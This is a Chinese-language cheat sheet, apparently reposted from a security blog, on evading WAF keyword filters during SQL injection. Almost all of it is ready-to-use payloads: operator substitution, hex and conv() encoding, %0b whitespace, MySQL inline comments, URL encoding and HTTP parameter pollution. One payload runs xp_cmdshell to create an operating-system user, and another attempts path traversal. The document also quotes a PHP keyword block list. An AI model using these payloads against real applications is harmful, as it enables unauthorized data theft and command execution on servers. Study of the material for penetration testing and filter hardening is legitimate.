一、 绕过waf思路
从第一步起，一点一点去分析，然后绕过。
1、过滤 and,or
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preg_match('/(and|or)/i', $id)Filtered injection: 1 or 1 = 1 1 and 1 = 1Bypassed injection: 1 || 1 = 1 1 && 1 = 1 |
2、过滤 and, or, union
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preg_match('/(and|or|union)/i', $id)Filtered injection: union select user, password from usersBypassed injection: 1 || (select user from users where user_id = 1) = 'admin' |
3、过滤 and, or, union, where
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preg_match('/(and|or|union|where)/i', $id)Filtered injection: 1 || (select user from users where user_id = 1) = 'admin'Bypassed injection: 1 || (select user from users limit 1) = 'admin' |
4、过滤 and, or, union, where, limit
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preg_match('/(and|or|union|where|limit)/i', $id)Filtered injection: 1 || (select user from users limit 1) = 'admin'Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin' |
5、过滤 and, or, union, where, limit, group by
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preg_match('/(and|or|union|where|limit|group by)/i', $id)Filtered injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'Bypassed injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1 |
6、过滤 and, or, union, where, limit, group by, select
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preg_match('/(and|or|union|where|limit|group by|select)/i', $id)Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1Bypassed injection: 1 || 1 = 1 into outfile 'result.txt'Bypassed injection: 1 || substr(user,1,1) = 'a' |
7、过滤 and, or, union, where, limit, group by, select, ‘
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preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1Bypassed injection: 1 || user_id is not nullBypassed injection: 1 || substr(user,1,1) = 0x61Bypassed injection: 1 || substr(user,1,1) = unhex(61) |
8、过滤 and, or, union, where, limit, group by, select, ‘, hex
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preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)Filtered injection: 1 || substr(user,1,1) = unhex(61)Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36)) |
9、过滤 and, or, union, where, limit, group by, select, ‘, hex, substr
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preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36))Bypassed injection: 1 || lpad(user,7,1) |
10、过滤 and, or, union, where, limit, group by, select, ‘, hex, substr, 空格
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preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)Filtered injection: 1 || lpad(user,7,1)ypassed injection: 1%0b||%0blpad(user,7,1) |
二、正则绕过
根据正则的的模糊匹配特性绕过，比如过滤了'='
filtered injection: 1 or 1 = 1
Bypassed injection: 1 or 1,1 or ‘1',1 or char(97)
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eg:filtered injection: 1 union select 1, table_name from information_schema.tables where table_name = 'users'Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z'Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7aBypassed Injection: 1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273 |
三、通用绕过
1.注释符
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?id=1+un//ion+se//lect+1,2,3– |
2.大小写
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?id=1+UnIoN//SeLecT//1,2,3– |
3.关键字替换
有些waf等使用preg_replace替换了SQL关键字
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?id=1+UNunionION+SEselectLECT+1,2,3--?id=1+uni%0bon+se%0blect+1,2,3-- |
有时候注释符'/**/‘可能被过滤，也可以使用%0b绕过
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Forbidden: http://localhost/id/1/**/||/**/lpad(first_name,7,1).htmlBypassed : http://localhost/id/1%0b||%0blpad(first_name,7,1).html |
4.编码
一个经典的脚本：Nukesentinel.php
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// Check for UNION attack // Copyright 2004(c) Raven PHP Scripts $blocker_row = $blocker_array[1]; if($blocker_row['activate'] > 0) { if (stristr($nsnst_const['query_string'],'+union+') OR \ stristr($nsnst_const['query_string'],'%20union%20') OR \ stristr($nsnst_const['query_string'],'*/union/*') OR \ stristr($nsnst_const['query_string'],' union ') OR \ stristr($nsnst_const['query_string_base64'],'+union+') OR \ stristr($nsnst_const['query_string_base64'],'%20union%20') OR \ stristr($nsnst_const['query_string_base64'],'*/union/*') OR \ stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row); die("BLOCK IP 1 " ); } } |
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Forbidden: http://localhost/php/?/**/union/**/selectBypassed : http://localhost/php/?/%2A%2A/union/%2A%2A/selectBypassed : http://localhost/php/?%2f**%2funion%2f**%2fselect |
5.缓冲区溢出
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http://localhost/news.php?id=1+and+(select 1)=(select 0xA*1000)+union+select+1,2,version(),database(),user(),6,7,8,9,10– |
6.内联注释(mysql)
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http://localhost/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--http://localhost/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()-- |
四、高级绕过
1.HPP（http参数污染)
举个例子：
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index.php?par1=val1&par1=val2| web server | par1 || :— | :— || ASP.NET/IIS | val1,val2 || ASP/IIS | val1,val2 || PHP/Apache | val2 || JSP/Tomcat | val1 | |
eg:
在ASP/ASP.NET的环境下
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Forbidden: http://localhost/search.aspx?q=select name,password from usersBypassed : http://localhost/search.aspx?q=select name&q=password from usersBypassed : http://localhost/search.aspx?q=select/*&q=*/name&q=password/*&q=*/from/*&q=*/usersBypassed : http://localhost/news.aspx?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ net user test test /*&id=1*/ -- |
2.HPC(http参数污染)
RFC2396定义了如下一些字符：
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Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()Reserved : ; / ? : @ & = + $ ,Unwise : { } | \ ^ [ ] ` |
不同的Web服务器处理处理构造得特殊请求时有不同的逻辑：
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| Query String | Apache/2.2.16,PHP/5.3.3 | IIS6/ASP || :— | :— | :— || ?test[1=2 | test_1=2 | test[1=2 || ?test=% | test=% | test= || ?test%00=1 | test= | test=1 || ?test=1%001 | NULL | test=1 || ?test+d=1+2 | test_d=1 2 | test d=1 2 | |
eg:
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Forbidden: http://localhost/?xp_cmdshellBypassed : http://localhost/?xp[cmdshellForbidden: http://localhost/test.asp?file=../flag.txtBypassed : http://localhost/test.asp?file=.%./flag.txtForbidden: http://localhost/news.asp?id=10 and 1=0/(select top 1 table_name from information_schema.tables)Bypassed : http://localhost/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables) |
总结
以上就是关于sql注入绕过的技巧总结，希望本文的内容对大家的学习或者工作能带来一定的帮助，如果有疑问大家可以留言交流，谢谢大家对服务器之家的支持。
原文链接：http://byd.dropsec.xyz/2017/03/21/SQL注入-绕过/
